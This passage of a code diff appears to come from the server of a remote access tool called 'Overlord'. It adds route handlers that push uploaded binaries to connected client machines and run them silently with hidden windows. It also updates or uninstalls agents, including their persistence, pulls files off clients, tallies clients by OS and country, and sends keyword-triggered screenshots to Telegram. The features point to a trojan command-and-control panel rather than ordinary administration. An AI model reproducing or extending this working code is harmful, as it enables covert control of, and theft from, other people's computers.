if (!command) {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const cmdId = uuidv4();
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "silent_exec",
|
||||
id: cmdId,
|
||||
payload: { command, args, cwd },
|
||||
}),
|
||||
);
|
||||
metrics.recordCommand("silent_exec");
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip,
|
||||
action: AuditAction.SILENT_EXECUTE,
|
||||
targetClientId: targetId,
|
||||
success: true,
|
||||
details: JSON.stringify({ command, args, cwd }),
|
||||
});
|
||||
} else if (action === "uninstall") {
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "uninstall", id: uuidv4() }));
|
||||
metrics.recordCommand("uninstall");
|
||||
deleteClientRow(targetId);
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip,
|
||||
action: AuditAction.UNINSTALL,
|
||||
targetClientId: targetId,
|
||||
details: "Agent uninstall requested - persistence will be removed",
|
||||
success: true,
|
||||
});
|
||||
} else {
|
||||
success = false;
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip,
|
||||
action: AuditAction.COMMAND,
|
||||
targetClientId: targetId,
|
||||
details: action,
|
||||
success,
|
||||
});
|
||||
|
||||
return Response.json({ ok: true });
|
||||
} catch (error) {
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip,
|
||||
action: AuditAction.COMMAND,
|
||||
targetClientId: targetId,
|
||||
success: false,
|
||||
errorMessage: String(error),
|
||||
});
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -0,0 +1,328 @@
|
||||
import fs from "fs/promises";
|
||||
import path from "path";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import { AuditAction, logAudit } from "../../auditLog";
|
||||
import * as clientManager from "../../clientManager";
|
||||
import { metrics } from "../../metrics";
|
||||
import { encodeMessage } from "../../protocol";
|
||||
|
||||
type RequestIpProvider = {
|
||||
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||
};
|
||||
|
||||
type DeployOs = "windows" | "mac" | "linux" | "unix" | "unknown";
|
||||
type DeployUpload = {
|
||||
id: string;
|
||||
path: string;
|
||||
name: string;
|
||||
size: number;
|
||||
os: DeployOs;
|
||||
};
|
||||
|
||||
type DeployRouteDeps = {
|
||||
DEPLOY_ROOT: string;
|
||||
deployUploads: Map<string, DeployUpload>;
|
||||
detectUploadOs: (filename: string, bytes: Uint8Array) => DeployOs;
|
||||
normalizeClientOs: (os?: string) => DeployOs;
|
||||
};
|
||||
|
||||
export async function handleDeployRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
server: RequestIpProvider,
|
||||
deps: DeployRouteDeps,
|
||||
): Promise<Response | null> {
|
||||
if (!url.pathname.startsWith("/api/deploy")) {
|
||||
return null;
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/deploy/upload") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (user.role !== "admin") {
|
||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||
}
|
||||
|
||||
let form: FormData;
|
||||
try {
|
||||
form = await req.formData();
|
||||
} catch {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const file = form.get("file");
|
||||
if (!(file instanceof File)) {
|
||||
return new Response("Missing file", { status: 400 });
|
||||
}
|
||||
|
||||
const filename = path.basename(file.name || "upload.bin");
|
||||
const id = uuidv4();
|
||||
await fs.mkdir(deps.DEPLOY_ROOT, { recursive: true });
|
||||
const folder = path.join(deps.DEPLOY_ROOT, id);
|
||||
await fs.mkdir(folder, { recursive: true });
|
||||
const targetPath = path.join(folder, filename);
|
||||
const bytes = new Uint8Array(await file.arrayBuffer());
|
||||
await fs.writeFile(targetPath, bytes);
|
||||
|
||||
const os = deps.detectUploadOs(filename, bytes);
|
||||
const entry: DeployUpload = {
|
||||
id,
|
||||
path: targetPath,
|
||||
name: filename,
|
||||
size: bytes.length,
|
||||
os,
|
||||
};
|
||||
deps.deployUploads.set(id, entry);
|
||||
|
||||
return Response.json({ ok: true, uploadId: id, os, name: filename, size: bytes.length });
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/deploy/run") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (user.role !== "admin") {
|
||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||
}
|
||||
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const uploadId = typeof body?.uploadId === "string" ? body.uploadId : "";
|
||||
const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : [];
|
||||
const args = typeof body?.args === "string" ? body.args : "";
|
||||
const hideWindow = body?.hideWindow !== false;
|
||||
if (!uploadId || clientIds.length === 0) {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const upload = deps.deployUploads.get(uploadId);
|
||||
if (!upload) {
|
||||
return new Response("Not found", { status: 404 });
|
||||
}
|
||||
|
||||
const bytes = new Uint8Array(await fs.readFile(upload.path));
|
||||
const chunkSize = 256 * 1024;
|
||||
const results: Array<{ clientId: string; ok: boolean; reason?: string; command?: string }> = [];
|
||||
|
||||
const formatCommandDisplay = (commandPath: string, commandArgs: string) => {
|
||||
const trimmedArgs = commandArgs.trim();
|
||||
const needsQuotes = commandPath.includes(" ");
|
||||
const displayCommand = needsQuotes ? `"${commandPath}"` : commandPath;
|
||||
if (!trimmedArgs) {
|
||||
return displayCommand;
|
||||
}
|
||||
return `${displayCommand} ${trimmedArgs}`;
|
||||
};
|
||||
|
||||
for (const clientId of clientIds) {
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (!target) {
|
||||
results.push({ clientId, ok: false, reason: "offline" });
|
||||
continue;
|
||||
}
|
||||
|
||||
const clientOs = deps.normalizeClientOs(target.os);
|
||||
const osMismatch =
|
||||
upload.os !== "unknown" &&
|
||||
!(
|
||||
upload.os === clientOs ||
|
||||
(upload.os === "unix" && (clientOs === "linux" || clientOs === "mac"))
|
||||
);
|
||||
if (osMismatch) {
|
||||
results.push({ clientId, ok: false, reason: "os_mismatch" });
|
||||
continue;
|
||||
}
|
||||
|
||||
const dir = clientOs === "windows"
|
||||
? `C:\\Windows\\Temp\\Overlord\\${upload.id}`
|
||||
: `/tmp/overlord/${upload.id}`;
|
||||
const destPath = clientOs === "windows"
|
||||
? `${dir}\\${upload.name}`
|
||||
: `${dir}/${upload.name}`;
|
||||
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "file_mkdir",
|
||||
id: uuidv4(),
|
||||
payload: { path: dir },
|
||||
}),
|
||||
);
|
||||
|
||||
for (let offset = 0; offset < bytes.length; offset += chunkSize) {
|
||||
const chunk = bytes.subarray(offset, Math.min(offset + chunkSize, bytes.length));
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "file_upload",
|
||||
id: uuidv4(),
|
||||
payload: { path: destPath, data: chunk, offset, total: bytes.length },
|
||||
}),
|
||||
);
|
||||
}
|
||||
|
||||
if (clientOs !== "windows") {
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "file_chmod",
|
||||
id: uuidv4(),
|
||||
payload: { path: destPath, mode: "0755" },
|
||||
}),
|
||||
);
|
||||
}
|
||||
|
||||
const displayCommand = formatCommandDisplay(destPath, args);
|
||||
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "silent_exec",
|
||||
id: uuidv4(),
|
||||
payload: { command: destPath, args, hideWindow },
|
||||
}),
|
||||
);
|
||||
|
||||
metrics.recordCommand("silent_exec");
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip: server.requestIP(req)?.address || "unknown",
|
||||
action: AuditAction.SILENT_EXECUTE,
|
||||
targetClientId: clientId,
|
||||
success: true,
|
||||
details: JSON.stringify({ uploadId, command: destPath, args }),
|
||||
});
|
||||
|
||||
results.push({ clientId, ok: true, command: displayCommand });
|
||||
}
|
||||
|
||||
return Response.json({ ok: true, results });
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/deploy/update") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (user.role !== "admin") {
|
||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||
}
|
||||
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const uploadId = typeof body?.uploadId === "string" ? body.uploadId : "";
|
||||
const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : [];
|
||||
if (!uploadId || clientIds.length === 0) {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const upload = deps.deployUploads.get(uploadId);
|
||||
if (!upload) {
|
||||
return new Response("Not found", { status: 404 });
|
||||
}
|
||||
|
||||
const bytes = new Uint8Array(await fs.readFile(upload.path));
|
||||
const chunkSize = 256 * 1024;
|
||||
const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
|
||||
|
||||
for (const clientId of clientIds) {
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (!target) {
|
||||
results.push({ clientId, ok: false, reason: "offline" });
|
||||
continue;
|
||||
}
|
||||
|
||||
const clientOs = deps.normalizeClientOs(target.os);
|
||||
const osMismatch =
|
||||
upload.os !== "unknown" &&
|
||||
!(
|
||||
upload.os === clientOs ||
|
||||
(upload.os === "unix" && (clientOs === "linux" || clientOs === "mac"))
|
||||
);
|
||||
if (osMismatch) {
|
||||
results.push({ clientId, ok: false, reason: "os_mismatch" });
|
||||
continue;
|
||||
}
|
||||
|
||||
const dir = clientOs === "windows"
|
||||
? `C:\\Windows\\Temp\\Overlord\\${upload.id}`
|
||||
: `/tmp/overlord/${upload.id}`;
|
||||
const destPath = clientOs === "windows"
|
||||
? `${dir}\\${upload.name}`
|
||||
: `${dir}/${upload.name}`;
|
||||
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "file_mkdir",
|
||||
id: uuidv4(),
|
||||
payload: { path: dir },
|
||||
}),
|
||||
);
|
||||
|
||||
for (let offset = 0; offset < bytes.length; offset += chunkSize) {
|
||||
const chunk = bytes.subarray(offset, Math.min(offset + chunkSize, bytes.length));
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "file_upload",
|
||||
id: uuidv4(),
|
||||
payload: { path: destPath, data: chunk, offset, total: bytes.length },
|
||||
}),
|
||||
);
|
||||
}
|
||||
|
||||
if (clientOs !== "windows") {
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "file_chmod",
|
||||
id: uuidv4(),
|
||||
payload: { path: destPath, mode: "0755" },
|
||||
}),
|
||||
);
|
||||
}
|
||||
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "agent_update",
|
||||
id: uuidv4(),
|
||||
payload: { path: destPath },
|
||||
}),
|
||||
);
|
||||
|
||||
metrics.recordCommand("agent_update");
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip: server.requestIP(req)?.address || "unknown",
|
||||
action: AuditAction.AGENT_UPDATE,
|
||||
targetClientId: clientId,
|
||||
success: true,
|
||||
details: JSON.stringify({ uploadId, path: destPath }),
|
||||
});
|
||||
|
||||
results.push({ clientId, ok: true });
|
||||
}
|
||||
|
||||
return Response.json({ ok: true, results });
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -0,0 +1,270 @@
|
||||
import fs from "fs/promises";
|
||||
import path from "path";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import { AuditAction, logAudit } from "../../auditLog";
|
||||
import * as clientManager from "../../clientManager";
|
||||
import { logger } from "../../logger";
|
||||
import { encodeMessage } from "../../protocol";
|
||||
|
||||
type RequestIpProvider = {
|
||||
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||
};
|
||||
|
||||
type PendingHttpDownload = {
|
||||
commandId: string;
|
||||
clientId: string;
|
||||
path: string;
|
||||
fileName: string;
|
||||
total: number;
|
||||
receivedBytes: number;
|
||||
receivedOffsets: Set<number>;
|
||||
receivedChunks: Set<number>;
|
||||
chunkSize: number;
|
||||
expectedChunks: number;
|
||||
loggedTotal?: boolean;
|
||||
loggedFirstChunk?: boolean;
|
||||
tmpPath: string;
|
||||
fileHandle: any;
|
||||
resolve: (entry: PendingHttpDownload) => void;
|
||||
reject: (error: Error) => void;
|
||||
timeout: ReturnType<typeof setTimeout>;
|
||||
};
|
||||
|
||||
type DownloadIntent = {
|
||||
id: string;
|
||||
userId: string;
|
||||
clientId: string;
|
||||
path: string;
|
||||
expiresAt: number;
|
||||
timeout: ReturnType<typeof setTimeout>;
|
||||
};
|
||||
|
||||
type FileDownloadRouteDeps = {
|
||||
DATA_DIR: string;
|
||||
secureHeaders: (contentType?: string) => Record<string, string>;
|
||||
sanitizeOutputName: (name: string) => string;
|
||||
pendingHttpDownloads: Map<string, PendingHttpDownload>;
|
||||
downloadIntents: Map<string, DownloadIntent>;
|
||||
};
|
||||
|
||||
export async function handleFileDownloadRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
server: RequestIpProvider,
|
||||
deps: FileDownloadRouteDeps,
|
||||
): Promise<Response | null> {
|
||||
if (!url.pathname.startsWith("/api/file/download")) {
|
||||
return null;
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/file/download") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (user.role !== "admin" && user.role !== "operator") {
|
||||
return new Response("Forbidden: Admin or operator access required", { status: 403 });
|
||||
}
|
||||
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const downloadId = typeof body?.downloadId === "string" ? body.downloadId : "";
|
||||
logger.debug("[filebrowser] http download request", {
|
||||
downloadId,
|
||||
userId: user.userId,
|
||||
ip: server.requestIP(req)?.address || "unknown",
|
||||
});
|
||||
if (!downloadId) {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const intent = deps.downloadIntents.get(downloadId);
|
||||
if (!intent || intent.userId !== user.userId || intent.expiresAt < Date.now()) {
|
||||
logger.debug("[filebrowser] http download intent missing", {
|
||||
downloadId,
|
||||
userId: user.userId,
|
||||
intentUserId: intent?.userId,
|
||||
expiresAt: intent?.expiresAt,
|
||||
});
|
||||
return new Response("Not found", { status: 404 });
|
||||
}
|
||||
|
||||
deps.downloadIntents.delete(downloadId);
|
||||
clearTimeout(intent.timeout);
|
||||
|
||||
const clientId = intent.clientId;
|
||||
const downloadPath = intent.path;
|
||||
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (!target) {
|
||||
logger.debug("[filebrowser] http download target offline", {
|
||||
downloadId,
|
||||
clientId,
|
||||
});
|
||||
return new Response("Client offline", { status: 404 });
|
||||
}
|
||||
|
||||
const commandId = uuidv4();
|
||||
const downloadDir = path.join(deps.DATA_DIR, "downloads");
|
||||
await fs.mkdir(downloadDir, { recursive: true });
|
||||
const tmpPath = path.join(downloadDir, `${commandId}.bin`);
|
||||
|
||||
let fileName = path.basename(downloadPath) || "download.bin";
|
||||
try {
|
||||
fileName = deps.sanitizeOutputName(fileName);
|
||||
} catch {
|
||||
fileName = "download.bin";
|
||||
}
|
||||
|
||||
const fileHandle = await fs.open(tmpPath, "w+");
|
||||
|
||||
logger.debug("[filebrowser] http download start", {
|
||||
commandId,
|
||||
clientId,
|
||||
path: downloadPath,
|
||||
tmpPath,
|
||||
});
|
||||
|
||||
const downloadPromise = new Promise<PendingHttpDownload>((resolve, reject) => {
|
||||
const timeout = setTimeout(() => {
|
||||
deps.pendingHttpDownloads.delete(commandId);
|
||||
void fileHandle.close();
|
||||
void fs.unlink(tmpPath).catch(() => {});
|
||||
reject(new Error("Download timed out"));
|
||||
}, 5 * 60_000);
|
||||
|
||||
deps.pendingHttpDownloads.set(commandId, {
|
||||
commandId,
|
||||
clientId,
|
||||
path: downloadPath,
|
||||
fileName,
|
||||
total: 0,
|
||||
receivedBytes: 0,
|
||||
receivedOffsets: new Set(),
|
||||
receivedChunks: new Set(),
|
||||
chunkSize: 0,
|
||||
expectedChunks: 0,
|
||||
loggedTotal: false,
|
||||
loggedFirstChunk: false,
|
||||
tmpPath,
|
||||
fileHandle,
|
||||
resolve,
|
||||
reject,
|
||||
timeout,
|
||||
});
|
||||
});
|
||||
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "file_download",
|
||||
id: commandId,
|
||||
payload: { path: downloadPath },
|
||||
}),
|
||||
);
|
||||
|
||||
logger.debug("[filebrowser] http download command sent", {
|
||||
commandId,
|
||||
clientId,
|
||||
path: downloadPath,
|
||||
});
|
||||
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip: server.requestIP(req)?.address || "unknown",
|
||||
action: AuditAction.FILE_DOWNLOAD,
|
||||
targetClientId: clientId,
|
||||
details: JSON.stringify({ path: downloadPath, via: "http" }),
|
||||
success: true,
|
||||
});
|
||||
|
||||
let completed: PendingHttpDownload;
|
||||
try {
|
||||
completed = await downloadPromise;
|
||||
} catch (err) {
|
||||
logger.debug("[filebrowser] http download failed", {
|
||||
commandId,
|
||||
clientId,
|
||||
path: downloadPath,
|
||||
error: (err as Error)?.message || String(err),
|
||||
});
|
||||
return new Response((err as Error).message || "Download failed", { status: 500 });
|
||||
}
|
||||
|
||||
logger.debug("[filebrowser] http download complete", {
|
||||
commandId,
|
||||
clientId,
|
||||
path: downloadPath,
|
||||
total: completed.total,
|
||||
receivedBytes: completed.receivedBytes,
|
||||
expectedChunks: completed.expectedChunks,
|
||||
receivedChunks: completed.receivedChunks.size,
|
||||
});
|
||||
|
||||
const headers = {
|
||||
...deps.secureHeaders("application/octet-stream"),
|
||||
"Content-Disposition": `attachment; filename="${completed.fileName}"`,
|
||||
"Cache-Control": "no-store",
|
||||
};
|
||||
|
||||
setTimeout(() => {
|
||||
void fs.unlink(completed.tmpPath).catch(() => {});
|
||||
}, 5 * 60_000);
|
||||
|
||||
return new Response(Bun.file(completed.tmpPath), { headers });
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/file/download/request") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (user.role !== "admin" && user.role !== "operator") {
|
||||
return new Response("Forbidden: Admin or operator access required", { status: 403 });
|
||||
}
|
||||
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const clientId = typeof body?.clientId === "string" ? body.clientId : "";
|
||||
const downloadPath = typeof body?.path === "string" ? body.path : "";
|
||||
if (!clientId || !downloadPath) {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (!target) {
|
||||
return new Response("Client offline", { status: 404 });
|
||||
}
|
||||
|
||||
const downloadId = uuidv4();
|
||||
const expiresAt = Date.now() + 2 * 60_000;
|
||||
const timeout = setTimeout(() => {
|
||||
deps.downloadIntents.delete(downloadId);
|
||||
}, 2 * 60_000);
|
||||
|
||||
deps.downloadIntents.set(downloadId, {
|
||||
id: downloadId,
|
||||
userId: user.userId,
|
||||
clientId,
|
||||
path: downloadPath,
|
||||
expiresAt,
|
||||
timeout,
|
||||
});
|
||||
|
||||
return Response.json({ ok: true, downloadId });
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -0,0 +1,138 @@
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import * as clientManager from "../../clientManager";
|
||||
import { getAuditLogs } from "../../auditLog";
|
||||
import { listClients } from "../../db";
|
||||
import { logger } from "../../logger";
|
||||
import { metrics } from "../../metrics";
|
||||
import { requirePermission } from "../../rbac";
|
||||
|
||||
type MiscRouteDeps = {
|
||||
CORS_HEADERS: Record<string, string>;
|
||||
SERVER_VERSION: string;
|
||||
getConsoleSessionCount: () => number;
|
||||
getRdSessionCount: () => number;
|
||||
getFileBrowserSessionCount: () => number;
|
||||
getProcessSessionCount: () => number;
|
||||
};
|
||||
|
||||
export async function handleMiscRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
deps: MiscRouteDeps,
|
||||
): Promise<Response | null> {
|
||||
if (req.method === "GET" && url.pathname === "/api/metrics") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response(JSON.stringify({ error: "Not authenticated" }), {
|
||||
status: 401,
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
|
||||
const snapshot = metrics.getSnapshot();
|
||||
|
||||
const clientList = listClients({ page: 1, pageSize: 10000, search: "", sort: "last_seen_desc" });
|
||||
logger.debug(
|
||||
`[metrics] Database reports: total=${clientList.total}, online=${clientList.online}, items=${clientList.items.length}`,
|
||||
);
|
||||
logger.debug(`[metrics] In-memory clients map size: ${clientManager.getClientCount()}`);
|
||||
|
||||
snapshot.clients.total = clientList.total;
|
||||
snapshot.clients.online = clientList.online;
|
||||
snapshot.clients.offline = clientList.total - clientList.online;
|
||||
|
||||
const byOS: Record<string, number> = {};
|
||||
const byCountry: Record<string, number> = {};
|
||||
const byOSOnline: Record<string, number> = {};
|
||||
const byCountryOnline: Record<string, number> = {};
|
||||
let onlineCounted = 0;
|
||||
const totalItems = clientList.items.length;
|
||||
for (const item of clientList.items) {
|
||||
if (item.os) {
|
||||
byOS[item.os] = (byOS[item.os] || 0) + 1;
|
||||
}
|
||||
if (item.country) {
|
||||
byCountry[item.country] = (byCountry[item.country] || 0) + 1;
|
||||
}
|
||||
if (!item.online) continue;
|
||||
onlineCounted++;
|
||||
if (item.os) {
|
||||
byOSOnline[item.os] = (byOSOnline[item.os] || 0) + 1;
|
||||
}
|
||||
if (item.country) {
|
||||
byCountryOnline[item.country] = (byCountryOnline[item.country] || 0) + 1;
|
||||
}
|
||||
}
|
||||
snapshot.clients.byOS = byOS;
|
||||
snapshot.clients.byCountry = byCountry;
|
||||
|
||||
snapshot.sessions.console = deps.getConsoleSessionCount();
|
||||
snapshot.sessions.remoteDesktop = deps.getRdSessionCount();
|
||||
snapshot.sessions.fileBrowser = deps.getFileBrowserSessionCount();
|
||||
snapshot.sessions.process = deps.getProcessSessionCount();
|
||||
|
||||
metrics.recordHistoryEntry(snapshot);
|
||||
|
||||
const history = metrics.getHistory();
|
||||
|
||||
return new Response(JSON.stringify({ snapshot, history }), {
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
|
||||
if (url.pathname === "/health") {
|
||||
return new Response("ok", { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/api/version") {
|
||||
return new Response(JSON.stringify({ version: deps.SERVER_VERSION }), {
|
||||
headers: {
|
||||
...deps.CORS_HEADERS,
|
||||
"Content-Type": "application/json",
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/api/audit-logs") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
try {
|
||||
requirePermission(user, "audit:view");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
const page = Math.max(1, Number(url.searchParams.get("page") || 1));
|
||||
const pageSize = Math.max(1, Math.min(100, Number(url.searchParams.get("pageSize") || 50)));
|
||||
const targetClientId = (url.searchParams.get("clientId") || "").trim();
|
||||
const action = (url.searchParams.get("action") || "").trim();
|
||||
const actionsRaw = (url.searchParams.get("actions") || "").trim();
|
||||
const actions = actionsRaw
|
||||
? actionsRaw
|
||||
.split(",")
|
||||
.map((entry) => entry.trim())
|
||||
.filter(Boolean)
|
||||
: undefined;
|
||||
const startDate = Number(url.searchParams.get("startDate") || 0) || undefined;
|
||||
const endDate = Number(url.searchParams.get("endDate") || 0) || undefined;
|
||||
const successOnly = url.searchParams.get("successOnly") === "true";
|
||||
|
||||
const result = getAuditLogs({
|
||||
page,
|
||||
pageSize,
|
||||
targetClientId: targetClientId || undefined,
|
||||
action: action || undefined,
|
||||
actions,
|
||||
startDate,
|
||||
endDate,
|
||||
successOnly,
|
||||
});
|
||||
|
||||
return Response.json(result, { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -0,0 +1,164 @@
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import { AuditAction, logAudit } from "../../auditLog";
|
||||
import * as clientManager from "../../clientManager";
|
||||
import { getConfig, updateNotificationsConfig } from "../../config";
|
||||
import { encodeMessage } from "../../protocol";
|
||||
|
||||
type RequestIpProvider = {
|
||||
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||
};
|
||||
|
||||
type NotificationsRouteDeps = {
|
||||
getNotificationScreenshot: (notificationId: string) => { format?: string; bytes: Uint8Array } | null;
|
||||
secureHeaders: (contentType?: string) => HeadersInit;
|
||||
};
|
||||
|
||||
export async function handleNotificationsConfigRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
server: RequestIpProvider,
|
||||
deps: NotificationsRouteDeps,
|
||||
): Promise<Response | null> {
|
||||
const screenshotMatch = url.pathname.match(/^\/api\/notifications\/([^/]+)\/screenshot$/);
|
||||
if (req.method === "GET" && screenshotMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response(JSON.stringify({ error: "Not authenticated" }), {
|
||||
status: 401,
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
const notificationId = decodeURIComponent(screenshotMatch[1]);
|
||||
const screenshot = deps.getNotificationScreenshot(notificationId);
|
||||
if (!screenshot) {
|
||||
return new Response("Not found", { status: 404 });
|
||||
}
|
||||
|
||||
const format = (screenshot.format || "jpeg").toLowerCase();
|
||||
const contentType = format === "jpg" || format === "jpeg"
|
||||
? "image/jpeg"
|
||||
: format === "png"
|
||||
? "image/png"
|
||||
: format === "webp"
|
||||
? "image/webp"
|
||||
: "application/octet-stream";
|
||||
|
||||
return new Response(screenshot.bytes as unknown as BodyInit, {
|
||||
headers: deps.secureHeaders(contentType),
|
||||
});
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/api/notifications/config") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response(JSON.stringify({ error: "Not authenticated" }), {
|
||||
status: 401,
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewer access denied", { status: 403 });
|
||||
}
|
||||
return Response.json({ notifications: getConfig().notifications });
|
||||
}
|
||||
|
||||
if (req.method === "PUT" && url.pathname === "/api/notifications/config") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response(JSON.stringify({ error: "Not authenticated" }), {
|
||||
status: 401,
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
if (user.role !== "admin" && user.role !== "operator") {
|
||||
return new Response("Forbidden: Admin or operator access required", {
|
||||
status: 403,
|
||||
});
|
||||
}
|
||||
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
return Response.json({ error: "Invalid JSON" }, { status: 400 });
|
||||
}
|
||||
|
||||
const currentConfig = getConfig().notifications;
|
||||
const hasKeywords = Array.isArray(body?.keywords);
|
||||
const rawKeywords = hasKeywords ? body.keywords : currentConfig.keywords || [];
|
||||
const keywords = rawKeywords
|
||||
.map((k: any) => String(k).trim())
|
||||
.filter(Boolean)
|
||||
.slice(0, 200);
|
||||
|
||||
const webhookEnabled =
|
||||
typeof body?.webhookEnabled === "boolean"
|
||||
? body.webhookEnabled
|
||||
: currentConfig.webhookEnabled;
|
||||
const webhookUrl =
|
||||
typeof body?.webhookUrl === "string"
|
||||
? body.webhookUrl.trim()
|
||||
: currentConfig.webhookUrl || "";
|
||||
const telegramEnabled =
|
||||
typeof body?.telegramEnabled === "boolean"
|
||||
? body.telegramEnabled
|
||||
: currentConfig.telegramEnabled;
|
||||
const telegramBotToken =
|
||||
typeof body?.telegramBotToken === "string"
|
||||
? body.telegramBotToken.trim()
|
||||
: currentConfig.telegramBotToken || "";
|
||||
const telegramChatId =
|
||||
typeof body?.telegramChatId === "string"
|
||||
? body.telegramChatId.trim()
|
||||
: currentConfig.telegramChatId || "";
|
||||
|
||||
if (webhookUrl) {
|
||||
try {
|
||||
const parsed = new URL(webhookUrl);
|
||||
